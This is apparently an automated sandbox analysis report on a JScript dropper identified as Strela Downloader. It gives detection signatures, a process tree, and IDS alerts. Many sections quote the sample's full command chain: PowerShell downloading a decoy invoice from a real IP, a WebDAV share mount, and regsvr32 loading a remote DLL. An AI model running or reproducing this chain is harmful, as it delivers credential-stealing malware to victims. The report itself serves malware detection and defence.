Edit tour

Windows Analysis Report
944924352317221058.js

Overview

General Information

Sample name:	944924352317221058.js
Analysis ID:	1589040
MD5:	d13d2053aa0a80422bd66a80aedf18fb
SHA1:	17e2e77378e260b77be2114ad5739cea51dba27e
SHA256:	04b71a06993eae095451c6ea43d48d64196350e68e3d099026f3407acb5628f6
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7600 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7684 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7736 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7916 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8124 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2080 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1756,i,16808820835601716491,16434300059903285916,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7944 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7964 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8188 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7600	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7684, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7736, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7684, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7736, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js", ProcessId: 7600, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7964, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49763

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js", ProcessId: 7600, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7684, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7736, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7944, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7964, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8188, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7944, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7964, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 7684, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:45:02.961135+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49747	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:45:05.534334+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49763	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:45:02.961135+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49747	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 944924352317221058.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 944924352317221058.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 944924352317221058.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49763 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49747 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:45:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 8888
